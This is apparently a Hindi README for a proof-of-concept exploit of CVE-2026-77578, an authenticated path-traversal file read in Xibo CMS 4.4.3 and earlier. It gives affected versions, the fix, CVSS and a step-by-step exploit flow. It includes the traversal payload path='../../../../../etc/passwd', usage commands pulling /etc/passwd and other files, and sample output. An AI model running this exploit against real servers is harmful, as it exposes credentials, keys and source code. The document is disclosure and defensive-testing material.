CVE-2026-77578 — Xibo CMS मनमाना स्थानीय फ़ाइल पठन

अवलोकन

CVE-2026-77578, Xibo CMS में एक प्रमाणित मनमाना स्थानीय फ़ाइल पठन (Arbitrary Local File Read) भेद्यता है।

Admin विशेषाधिकार या Module Templates पहुँच वाला एक प्रमाणित उपयोगकर्ता एक तैयार किए गए XML टेम्पलेट को आयात कर सकता है जिसमें ट्रैवर्सल अनुक्रम के साथ पथ-आधारित एसेट होता है। परिणामी एसेट को फिर मॉड्यूल एसेट एंडपॉइंट के माध्यम से एक्सेस किया जा सकता है, जिससे Xibo संदर्भित स्थानीय फ़ाइल की सामग्री लौटा देता है।

प्रभावित और पैच किए गए संस्करण

• प्रभावित: Xibo CMS <= 4.4.3
• पैच किया गया: Xibo CMS >= 4.4.4
• अनुशंसित उपचार: Xibo CMS 4.4.4 या बाद के संस्करण में अपग्रेड करें।

भेद्यता विवरण

• CVE: CVE-2026-77578
• GHSA: GHSA-pc3g-2hhm-46qc
• भेद्यता प्रकार: CWE-22 — पथ ट्रैवर्सल
• प्रमाणीकरण: आवश्यक
• आवश्यक विशेषाधिकार: Developer Template सुविधा तक पहुँच
• गंभीरता: उच्च
• CVSS v3.1: 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
• प्रभाव: वेब-सर्वर उपयोगकर्ता द्वारा सुलभ फ़ाइलों को पढ़ना

प्रूफ ऑफ कॉन्सेप्ट

आधिकारिक Xibo सलाह

Xibo ने भेद्यता को GHSA-pc3g-2hhm-46qc के रूप में प्रकाशित किया, जिसमें पुष्टि की गई कि संस्करण <= 4.4.3 प्रभावित हैं और >= 4.4.4 पैच किए गए हैं। सलाह उच्च गंभीरता के साथ CVSS v3.1 स्कोर 8.8 प्रदान करती है और CVE-2026-77578 की पहचान करती है।

प्रदान किया गया Python PoC शोषण प्रक्रिया को स्वचालित करता है:

1. Xibo CMS में प्रमाणीकरण करता है।
2. Module Templates पृष्ठ से CSRF टोकन प्राप्त करता है।
3. एक अद्वितीय एसेट पहचानकर्ता उत्पन्न करता है।
4. /developer/template/import के माध्यम से एक तैयार किया गया XML टेम्पलेट अपलोड करता है।
5. XML में सापेक्ष पथ ट्रैवर्सल अनुक्रम का उपयोग करते हुए एक पथ-आधारित एसेट होता है।
6. /module/asset/<asset-id> के माध्यम से परिणामी एसेट का अनुरोध करता है।
7. अनुरोधित स्थानीय फ़ाइल की सामग्री प्रदर्शित करता है।

उपयोग

python3 poc.py <URL> -u <USERNAME> -p <PASSWORD> -f <FILE>

उदाहरण:

python3 poc.py http://localhost \
    -u xibo_admin \
    -p password \
    -f /etc/passwd

एक और उदाहरण:

python3 poc.py http://localhost \
    -u xibo_admin \
    -p password \
    -f /etc/os-release

-f विकल्प डिफ़ॉल्ट रूप से /etc/passwd पर सेट होता है।

उदाहरण आउटपुट

निम्नलिखित /etc/passwd की सफल पुनर्प्राप्ति प्रदर्शित करता है:

==============================================
 FILE CONTENT
==============================================

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

तकनीकी प्रवाह

Authenticated User
        |
        v
GET /developer/template/view
        |
        v
Extract X-XSRF-TOKEN
        |
        v
POST /developer/template/import
        |
        |  Crafted XML
        |  path="../../../../../etc/passwd"
        v
Xibo creates the asset
        |
        v
GET /module/asset/<asset-id>
        |
        v
Contents of local file returned

सत्यापन

भेद्यता को स्थानीय Xibo CMS 4.4.3 परीक्षण वातावरण में कई फ़ाइलों के विरुद्ध सफलतापूर्वक सत्यापित किया गया, जिनमें शामिल हैं:

• /etc/passwd
• /etc/hosts
• /etc/os-release
• /var/www/cms/web/index.php

PHP स्रोत फ़ाइल परीक्षण दर्शाता है कि यह समस्या केवल सिस्टम मेटाडेटा ही नहीं, बल्कि एप्लिकेशन स्रोत कोड लौटाने में भी सक्षम है।

प्रभाव

सफल शोषण आवश्यक Module Templates विशेषाधिकारों वाले एक प्रमाणित हमलावर को Xibo एप्लिकेशन प्रक्रिया द्वारा सुलभ मनमानी फ़ाइलों को पढ़ने की अनुमति देता है।

परिनियोजन के आधार पर, यह निम्नलिखित को उजागर कर सकता है:

• एप्लिकेशन स्रोत कोड
• कॉन्फ़िगरेशन फ़ाइलें
• क्रेडेंशियल्स
• API कुंजियाँ
• डेटाबेस कनेक्शन जानकारी
• अन्य संवेदनशील फ़ाइलसिस्टम डेटा

अस्वीकरण

यह प्रूफ ऑफ कॉन्सेप्ट केवल अधिकृत सुरक्षा अनुसंधान और रक्षात्मक परीक्षण उद्देश्यों के लिए प्रदान किया गया है।

केवल उन सिस्टमों का परीक्षण करें जिनके आप स्वामी हैं या जिनका मूल्यांकन करने के लिए आपके पास स्पष्ट अनुमति है।

रिपॉज़िटरी संरचना

CVE-2026-77578/
├── poc.py
├── README.md
├── LICENSE
├── .gitignore
└── screenshots/
    └── poc-output.png